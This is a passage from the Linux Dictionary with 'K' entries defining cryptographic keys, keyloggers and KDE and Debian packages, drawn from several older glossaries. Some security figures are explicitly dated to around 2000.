Public/private keys present a special difficulty in that they contain extremely large, unwieldy numbers that are protected by a separate password. Contrast: There are two types of keys: symmetric keys use the same key for both encryption and decryption asymmetric (aka. public/private key) are produced in pairs, where one key encrypts, but a mirror key must be used to decrypt the message, and somebody with one key cannot figure out the other key. Contrast: A common question deals with the difference between 40-bit and 128-bit encryption in web browsers like Netscape. The answer is that the most obvious way to break the encryption and read the plain text is to simply try all possible keys. A 40-bit key has roughly one trillion (1,000,000,000,000) combinations. It could take your computer several weeks to try all these combinations. The implication: the average person only needs a few weeks to decrypt any message you send across the wire with a 40-bit browser, should they manage to sniff it from the wire. Every extra bit of key length means the key will take twice as long to crack. Therefore,

if a system takes one week to crack a 40-bit key, it will take two weeks to crack a 41-bit key. Therefore, a 128-bit key will take $2^{(128-40)}$ times longer to crack than a 40-bit key (i.e. 309,485,009,821,345,068,724,781,056 times longer). Example: The following table shows the relative difficulty in cracking keys (circa year 2000). Bits Difficulty 8 paper and pencil (puzzle appears in Sunday paper) 16 tiny computer 32 your desktop computer 40 a few computers and a fair amount of time 56 custom hardware 64 distributed.net (a hundred thousand machine cranking away for a couple of years) 80 government agencies (NSA, CIA) 128 not crackable at the current time 256 quantum computers Key point: Moore's Law breaks all cryptosystems, eventually. This, and only this, is why DES has become obsolete. Note: 40-bit and 128-bit keys mean the RC4 algorithm used within web-browsers to talk to web servers via SSL. The U.S. restricts export of all software whose keys are greater than 40-bits in order to be able to spy on foreigners (ostensibly only in a military engagement). Key point: You can classify keys according to their lifetimes: In PKI, "session keys" are randomly generated and last only the lifetime of the connection. The public/private keys are used to exchange them so that people eavesdropping on the wire cannot figure out what they are. Longer term keys are often based upon a hash of a password and are explicitly generated by the user. An example would be a user who encrypts a file with a key. Key point: The Kerckhoff principle states that cryptography should be based upon the assumption that the enemy will discover all the details of your system. Therefore, all the security of the system should be held within the key. Not only that, the idea is that the details of the system should be actively published and publicized in the hopes that people will analyze the system, discover them, and publish the weaknesses before the enemy gets a chance to. All the best cryptosystems have been well published and analyzed in public forums. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

key

Unique identifier used to encrypt or decrypt secure data. Encrypted data must have a key to be decrypted. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

key distribution center (KDC)

System that distributes and manages shared and private keys for authentication of network sessions and access to applications. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keybled

KDE keyboard LED applet KeybLED is a Panel applet which displays a keyboard's LED status. It is particularly useful for keyboards which lack their own LED status indicators (e.g. cordless keyboards), or just for the fun! It utilizes the XTest X-server extension of keyboard indicator state changes. Features: * Configurable LED size, shape, look, colour, LED orientation (vertical/ horizontal), label size and label location (left/right, top/bottom, hidden); * Ability to select which LEDs are displayed; * Ability to turn on or off LEDs on startup; * An LED's status can be toggled with the mouse; * Clicking on the applet pops up an indicator showing which LEDs are activated. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keyboard

Computer system peripheral that users operate by tapping buttons to display characters on a monitor or other output. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keyboard-properties

allows you to configure your keyboard. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keychain

An OpenSSH key manager Keychain is an OpenSSH key manager, typically run from `~/.bash_profile`. When run, it will make sure `ssh-agent` is running; if not, it will start `ssh-agent`. It will redirect `ssh-agent`'s output to `~/.ssh-agent`, so that cron jobs that need to use `ssh-agent` keys can simply source this file and make the necessary passwordless `ssh` connections. In addition, when `keychain` runs, it will check with `ssh-agent` and make sure that the `ssh` RSA/DSA keys that you

specified on the keychain command line have actually been added to ssh-agent. If not, you are prompted for the appropriate passphrases so that they can be added by keychain. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keylaunch

A small utility for binding commands to a hot key. KeyLaunch is a small utility for binding commands to a hot key. It reads a configuration file in .keylaunchrc. KeyLaunch uses Ctrl, Alt and Shift as modifier keys, the hotkey is up to the user. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keylookup

A tool to fetch keys from key servers A nice console tool written in perl to fetch public keys from key servers. You give it a key server and something to search for and it allows you to select one or several or the resulting keys. It has two user interfaces, plain and dialog. The dialog (which is nicer) is the default one. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keynote

Decentralized Trust-Management system The KeyNote architecture and language are useful as building blocks for the trust management aspects of a variety of Internet protocols and services. This package contains the keynote binary used to generate and verify KeyNote assertions. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keystroke

Equivalent to one tap of a keyboard or keypad. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keystroke logger (keylogger)

A program that runs in the background that records all the keystrokes. Key point: Once keystrokes are logged, they are shipped raw to the hacker. The hacker then peruses them carefully in the hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or be used in a social engineering attack. For example, a key logger will reveal the contents of all e-mail composed by the user. Key point: Keylog programs are commonly included in rootkits and remote administration trojans. Key point: You can also purchase hardware devices that plug-in between the keyboard and the main system (for PCs). These are OS independent, they simply start recording, then the hacker can retrieve the device and instruct it to simply spit out all the characters back again on the hackers system. History: In November of 2001, the FBI revealed it has developed a keylogger Trojan as part of its Carnivore surveillance technologies. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

keytab-lilo

compile keytables files for use with LILO From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kfax

Views faxes within the KDE environment. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kfile-png

The PNG KFile plugin allows all applications using KFile (for example, Konqueror) to view information on PNG files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kfind

A KDE based file finder A KDE based file finder From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kfloppy

A floppy disk formatter frontend KFloppy formats disks and puts a DOS or ext2fs filesystem on them From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KFM

K File Manager (KDE) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kfocus

Lightweight project management program for KDE Personal project management program with support for task lists and log books Supports: – Categorizing tasks into projects – Viewing how much time you have left to complete a task – Creating logs of completed tasks – Scheduling followup tasks when a task is completed – Scheduling tasks to start in the future From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kformula

a formula editor for the KDE Office Suite From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kformula

a formula editor for the KDE Office Suite KFormula is a formula editor that provides the basic input facilities and the support functionality expected of a KOffice application. Features include easy Greek letter insertion, intelligent cursor movement, advanced syntax highlighting, multi-level undo support and LaTeX export. This package is part of the KDE Office Suite. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kforth

Small Forth Interpreter Written in C++ Implements a subset of ANS Forth, plus some extensions.

kForth can serve as a standalone computing environment, or its object code may be interfaced to another program to serve as a customizable programming language for that application. See

<http://ccweb.org/software/kforth/kforth.html> for more information. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kfract

fractal generator for KDE Kfract is a generator for fractals. Well, at this early stage it's only capable of Mandelbrot sets and Julia sets. Nothing fancy like Xfractint. And it's way far from being as fast as Xfractint. But it's much easier to use. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kfract

Generates fractal images. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kftgt

ticket forwarder for Kerberos 4 The client half of a client/server pair that allows Kerberos 4 tickets to be forwarded to another network host and used to authenticate further services on the network. This package includes kftgt, for forwarding tickets, and klogin, a script to forward a ticket with kftgt and invoke klogin in one step. For the corresponding ticket forwarding server for Kerberos 4, see the kftgtd package. kftgt and kftgtd do not provide ticket forwarding for Kerberos 5, which has built-in ticket forwarding. For now, this package depends on kerberos4kth-clients, because the Debian packages for Kerberos 5 do not properly authenticate to MIT Kerberos 4 servers. There is hope that this problem will be fixed soon. When it is, krb5-user will be allowed as an alternative to kerberos4kth-clients. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kftgtd

ticket forwarder for Kerberos 4 The server half of a client/server pair that allows Kerberos 4 tickets to be forwarded from another network host and used to authenticate further services on the network.

This package contains kftgtd, to receive forwarded tickets. For the corresponding ticket forward client for Kerberos 4, see the kftgt package. kftgt and kftgtd do not provide ticket forwarding for Kerberos 5, which has built-in ticket forwarding. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kgeo

an interactive geometry program for KDE With this program you can do geometry on a computer just like you would on a blackboard in a classroom. However, the computer allows you to go beyond that, since KGeo is designed to do interactive geometry. For example, the program allows you to move and change geometrical drawings, so that you can see all the changes. Imagine a triangle that can be

altered into any shape you want, just by moving its corners around. At the same time you can see that the angles change, but that they always add up to 180 degrees. KGeo was formerly called KEuklid. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kghostview

PostScript viewer for KDE. KGhostview is the PostScript viewer for the K Desktop Environment. It is a port of Tim Theisen's Ghostview program which is used to view documents prepared in Adobe's PostScript page description language. PostScript is the major page description language for printing on UNIX systems and this application is used to preview material intended for printing or for reading documents online. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kghostview

Viewer for PostScript and PDF files. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KGRZ

Kommunales GebietsRechenzentrum Giessen (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

khxedit

A KDE hex editor. It allows you to edit binary files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KHG

Kernel Hacking Guide (Linux) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KI

Kuenstliche Intelligenz From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kicker-applets

applets for Kicker, the KDE panel This package contains a variety of applets for Kicker, the KDE panel. The applets will appear in the panel's Add--Applet menu. Included are a system monitor and a colour picker. This package is part of the KDE addons module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kickstart

A method for automatic Red Hat Linux installations based on settings pre-configured in a special kickstart file. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kiconedit

An icon editor for creating KDE icons KIconedit is an icon editor for creating KDE and other icons From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KIF

Konferenz der Informatik Fachschaften (conference) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kill

report process status From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kill

send signal to a process From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kill

To stop an ongoing process. In the better UseNet newsreaders, to delete an article containig a certain word, name, or origin site so that articles containing this information do not appear subsequently in the article selector. See article selector, global kill file, and kill file. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

killall

kill processes by name From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

killall5

send a signal to all processes. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kilobit (Kb)

1024 bits of data. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kilobyte

A thousand bytes. Actually, usually 1024 (210) bytes. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kilobyte (KB)

1024 characters (or bytes) of data. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kimberlite

High Availability Clustering Package Kimberlite is a complete framework providing high availability for application services on Linux. The key features of the architecture include the following: – A complete high-availability service infrastructure prevents you from having to assemble an infrastructure from disparate components. – An extensible service-configuration framework enables you to easily integrate a wide variety of applications. – An exceptional data integrity guarantee differentiates the software from other contemporary offerings from the Linux community. Because of this guarantee, a Kimberlite cluster provides a solid foundation for highly-available data services, such as network-exported databases and NFS file systems, and is ideal as the data tier for dynamic web content. – Services fail over automatically when problems occur, without requiring manual intervention by system administrators. – A command line user interface and a web-based graphical user interface enable you to monitor and manage the cluster. – A cluster utilizes commodity hardware and storage options, such as SCSI and FibreChannel. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kimwitu

Compiler development tool, complementary to lex and yacc. Kimwitu (pronounced kee'mweetoo) is a system that supports the construction of programs that use trees or terms as their main data structure. It is a 'meta-tool' in the development process of tools. It can easily be interfaced with Yacc and Lex – the idea is that yacc and lex are used to do the parsing, and Kimwitu routines are used to built and manipulate the parse tree. There is also Kimwitu++ (also packaged for Debian) which interfaces with C++ instead of C. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kimwitu++

A (syntax-)tree-handling tool (term processor) Kimwitu++ is a system that supports the construction of programs that use trees or terms as their main data structure. It allows you to define, store and operate on trees with typed nodes. Each type of node has a specific number of sons, and expects these sons to have specific types. The most popular example of such trees are syntax trees. The nodes are defined in a Yacc-like fashion. The tree can be unparsed (ie. treewalk) and rewritten (ie. term substitution). Kimwitu++ gives you powerful pattern matching for specifying unparse and rewrite rules. Kimwitu++ is an extension to C++. It introduces Yacc-like node definitions, the unparse and rewrite rules, and extensions for pattern matching within functions. It will translate its input files into pure C++. To build the tree you might use a parser generated with Bison, but you are free to use other tools. There also exists Kimwitu (also packaged for Debian) which interfaces with C instead of C++ which can also be used in C++ projects, but Kimwitu++ has some extensions one might consider useful. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kinkatta

AOL Instant Messenger client for KDE Kinkatta is an instant messenger for AOL. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kino

Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. Unlike other editors, this program uses many keyboard commands for fast navigating and editing inside the movie. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kio-fish

ssh kioslave for konqueror kio_fish is a kioslave for KDE 2.0 that lets you view and manipulate your remote files using just a simple shell account and some standard unix commands on the remote machine. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KIPS

Kilo Instructions Per Second From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KIR

Kyocera Image Refinement (Kyocera) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Kirch, Olaf

author of the Linux Network Administrator's Guide. Olaf also moderates the Linux Security Mailing Lists, developing the Linux NFS daemon and a kernel-based nfsd. NFS file locking is also being worked on. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kismet

Wireless 802.11b monitoring tool Kismet is a 802.11b wireless network sniffer. It is capable of sniffing using almost any wireless card supported in Linux, which currently divide into cards handled by libpcap and the Linux-Wireless extensions (such as Cisco Aironet), and cards supported by the Wlan-NG project which use the Prism/2 chipset (such as Linksys, Dlink, and Zoom). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kiss

Karel's Interactive Simple Shell Kiss is basically a simple shell interpreter, like Bash or Tcsh, except that it lacks a good deal of the sophistication of a good shell. On the other hand it is small and well suited for rescue disks. It comes with the following BUILTINS: !, alias, cat, cd, chgrp, chmod, chown, cp, exec, exit, grep, help, history kill, ln, ls, mkdir, mknod, more, mv, printenv, pwd, read, rm, rmdir, setenv, sleep, source, touch, umount, unsetenv, ver, wc, where kiss comes with a bare version, a getline version and a full featured readline version. bkiss, gkiss and rkiss are dynamically linked. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KISS

Keep It Simple, Stupid (DFUe, Usenet, IRC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kissme

A free Java Virtual Machine kissme is a free Java Virtual Machine for Linux. It uses the GNU Classpath java class library. Currently it can only run console applications (there is no working AWT support in Classpath). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kit

AOL Instant Messenger frontend for KDE AOL Instant Messenger frontend for KDE From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KIT

Kernel software for Intelligent Terminals (T-Online, Telekom, BTX) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kivio

a flowcharting program for the KDE Office Suite Kivio is a flowcharting program that offers basic flowcharting abilities, but with a twist. Objects are scriptable, and a backend plugin system offers the ability to make objects do just about anything. Feed it a directory of C++ header files, or even Java

files, and let it generate a graphical class map for you. Give it a network and let it explore and map out the network for you. All this is possible through the scripting/plugin architecture Kivio possesses. This package is part of the KDE Office Suite. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kjezz

Jezzball clone for the K Desktop Environment. This is a clone of the popular Jezzball game originally created by Microsoft. Jezzball is one of the rare and simple games requiring skill, timing, and patience in order to be successful. A ball begins to bounce off of an area enclosed by four borders (like a square). You must move your pointer to certain areas within the square. Upon clicking, a new border is constructed at a relatively quick pace. You can change the direction of the borders by 90 degrees as well. Ultimately, you must force the ball to bounce around in a smaller, and smaller area as time goes by without the ball ever touching the borders as they are being constructed. If a ball touches a certain part of the border as it is being built, the game is over. After 75% of the original space has been blocked off from the moving ball, you advance one level, and one more ball is added to the mix in the following level. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kjots

A small note taker program for KDE kjots is a small note taker program. Name and idea are taken from the jots program included in the tkgoodstuff package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kjots

KJots is a virtual notepad – you can put notes on your desktop. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kjumpingcube

Tactical one or two player game KJumpingCube is a simple tactical game. You can play it against the computer or against a friend. The playing field consists of squares that contains points. By clicking on the squares you can increase the points and if the points reach a maximum the points will jump to the squares neighbours and take them over. Winner is the one, who owns all squares. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KK

Konnectivity Koordination (DE-NIC, DOMAIN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

klaptopdaemon

battery monitoring and management for laptops battery monitoring and management for laptops.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kleandisk

a file cleanup and backup tool for KDE Kleandisk searches your system and gives a list of files which can be deleted, backed up or archived. Kleandisk itself can also be used as a backup and archiving tool. Files are selected for cleaning, backup and archiving according to user-defined file groups, making Kleandisk easy to extend and automate. Automatic scheduled operations are supported.

Kleandisk can wrap /usr/bin/install to provide easy uninstallation of files installed using "make install". To use this feature, python will need to be present on your system. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

klic

KL1 to C compiler system The KLIC implementation compiles KL1 programs into C programs, then compiles them using C compilers of the host system, and then links the objects with runtime libraries (including libraries provided by UNIX). KLIC is an implementation of a concurrent logic programming language KL1. KL1 is based on a flat version of the Guarded Horn Clauses (GHC) language. GHC is a member of so-called committed-choice logic programming language family and has siblings such as Concurrent Prolog, Parlog, Janus and Fleng. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KLICK

Karlsruher LIChtleiter–Kommunikationsnetz (Uni Karlsruhe, Germany) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klines

Color lines for KDE KLines is a simple game. It is played by one player, so there is only one winner :-). You play for fun and against the high score. It was inspired by a well known game – "Color lines", written for DOS by Olga Demina, Igor Demina, Igor Ivkin and Gennady Denisov back in 1992. The main rules of the game are as simple as possible: you move (using the mouse) marbles from cell to cell and build lines (horizontal, vertical or diagonal). When a line contains 5 or more marbles, they are removed and your score grows. After each turn the computer drops three more marbles. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

KLIPS

Kilo Logical Inferences Per Second (AI, KI, XPS) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klisa

LAN information service similar to "Network Neighbourhood" LISa is intended to provide a kind of "Network Neighborhood" but using only the TCP/IP protocol stack, without the SMB protocol. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

kljettool

A KDE Configuration tool for HP LaserJet and compatible printers. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

kljettool

Laser Jet tools for KDE Laser Jet tools for KDE From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klogd

Kernel Log Daemon From whatis <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klogd

Kernel Logging Daemon The klogd daemon listens to kernel message sources and is responsible for prioritizing and processing operating system messages. The klogd daemon can run as a client of syslogd or optionally as a standalone program. Klogd can now be used to decode EIP addresses if it can determine a System.map file. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klpq

A KDE tool for managing your print spooler. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klpq

KDE port of a program called xlpq Klpq is a frontend to lpq, lprm and lpc. It allows for viewing, deleting, or adjusting print jobs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klprfax

A LPD fax frontend using efax With this program you can fax by printing to an lpd device. It requires efax of Ed Casas, <http://www.ecc.com>. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

klprfax

Fax sending support for KDE.kdeutils–klprfax allows any KDE application to treat a fax modem just like a printer. Any KDE application that can print will be able to send faxes. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

KLT

Karhunen Loeve Transformation From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

KLT

Kernel Latency Time From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

KM

Knowledge Management From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmago

KDE download manager KMAGO stands for MANager for Get Operations. It is a download manager with a nice GUI interface. KMAGO is built as a frontend for GNU wget currently. Features: * drag and drop operations with applications (konqueror, netscape) and between kmago widgets * system tray icon with drag and drop capabilities * transfer grouping * multiple downloads control with priority and selectable priority policy * resume capability check * full configurable * enabled to manage many retriever commands * stable and reliable downloading process based on GNU wget From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmahjongg

the classic mahjongg game for KDE project Your mission in this game is to remove all tiles from the game board. A matching pair of tiles can be removed, if they are 'free', which means that no other tiles block them on the left or right side. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmail

A mail client for KDE. KMail supports local mail spools as well as all commonly used Internet mail protocols (POP3, IMAP, SMTP, ...) From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmail

Mail Client based on Qt and KDE Mail Client based on Qt and KDE Supports pop3, pop3s, GPG/PGP From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmailcvt

Converts mailboxes to KMail format. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmerlin

Instant messaging (IM) client for the MSN messenger network KMerlin (f/k/a KMSn) is an IM (instant messaging) client for the MSN messenger network. Features include: A buddy list on which you can block users, multiple chat windows, and multiple users per chat (simply invite those you want in your chat session). Keep in touch with all your Windows friends! From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmid

midi/karaoke player for KDE midi/karaoke player for KDE From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmidi

midi-to-wav player/converter for KDE midi-to-wav player/converter for KDE From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmines

Minesweeper for KDE K Mines is the classic Minesweeper game. You must uncover all the empty cases without blowing on a mine. When you uncover a case, a number appears : it indicates how many mines surround this case. If there is no number the neighbour cases are automatically uncovered. In your process of uncovering secure cases, it is very useful to put a flag on the cases which contain a mine. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmix

A sound mixer applet for KDE. kmix allows you to control the volumes of your sound card from a KDE panel applet. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmLinux

kmLinux is developed by the [German] national education server Schleswig-Holstein in co-operation with the association free software and education. It's a complete Linux system for the personal

computer, which can be installed easily. Web site in German. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmoon

moon phase indicator for KDE Displays the current phase of the moon in the KDE system tray. This package is part of the official KDE toys module. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KMOS

Kernel of a Multiprocess Operating System (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KMS

Knowledge Management Systeme From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

kmtrace

a KDE memory leak tracer KMtrace is a KDE tool to assist with malloc debugging using glibc's "mtrace" functionality. This package is part of the KDE Software Development Kit. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knapster2

KDE2 Napster client Napster is a popular MP3 sound file download program. This is a Napster client for KDE 2. It supports searching with criteria, hotlists, transfer management, chat, and a music library with an integral mp3 player. It should work fine with "regular" Napster and Opennap servers. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knetfilter

A GUI for configuring the 2.4 kernel IP Tables Knetfilter is a GUI to configure your 2.4 kernel IP firewalling, masquerading and NAT rules. You must have a kernel compiled with iptables (netfilter) support. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knetload

a network throughput meter for Kicker A small Network throughput meter for the KDE Kicker which works with just about any network device. It will show the speeds of a network device with two diagrams, one for outgoing and one for incoming data. KNETLoad can read almost any device that is listed in the /proc/net/dev file, which includes eth0, ppp0, ipp0 and many others, even non predefined devices can be typed into the program. The colors, style and speed of the diagrams can be configured. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knews

Graphical threaded news reader Knews is an X11 based thread-oriented news reader. It is capable of representing threads as a graphical tree, represents quotations with different colors and much more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knewsticker

A News ticker for KDE This is a News ticker for the KDE panel. It can scroll news from your favorite news sites like /. and freshmeat. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knewsticker

KNewsticker is a KDE applet that will display current news from Internet sites of your choice. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knewsticker-scripts

scripts for KNewsTicker, the KDE news ticker This package contains a variety of scripts that provide additional news sources for KNewsTicker, the news ticker applet for the KDE panel. See /usr/share/doc/knewsticker-scripts/README.Debian for usage details. Highlights include newsgroup handling and stock data retrieval. This package is part of the KDE addons module. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knewstickerstub

Linux Dictionary

A stub for the KDE panel news ticker. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KNI

Katmai New Instructions (Intel, ISSE, predecessor) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knl

Query/set kernel image parameters. Set the default root device, root filesystem flags, swap device, ram disk parameters, and video mode. Replaces the rdev, swapdev, rootflags, ramsize and vidmode programs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KNN

Kuenstliche Neuronale Netze (neural nets) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knocker

a simple and easy to use TCP security port scanner Knocker is a new, simple, and easy to use TCP security port scanner written in C, using threads. It is able to analyze hosts and the network services which are running on them. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knode

News reader for KDE News reader for KDE From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KNOOM

KNnowledge Orientated Office Model From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KNOPPIX

A German distribution. Take your KNOPPIX CD with you when you're on the road and run Linux anywhere. KNOPPIX is a complete GNU/Linux installation which runs from CD, with automatic hardware detection and configuration for many graphics and sound cards, SCSI devices, and peripherals. Version 1.5 (the initial Freshmeat announcement) was released May 29, 2002. Version 3.2-2003-06-06 was released June 9, 2003. A CD-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

KnoppiXMAME

KnoppiXMAME is a bootable arcade machine emulator with hardware detection and autoconfiguration. It works automatically on all modern and not-so-modern hardware, including gameports and joysticks. It is powered by Knoppix Debian GNU/Linux, X-MAME, and gxname. Stable version 1.0 was released June 18, 2003. A CD-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

knotes

Sticky notes for KDE Sticky notes for KDE From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

koalamud

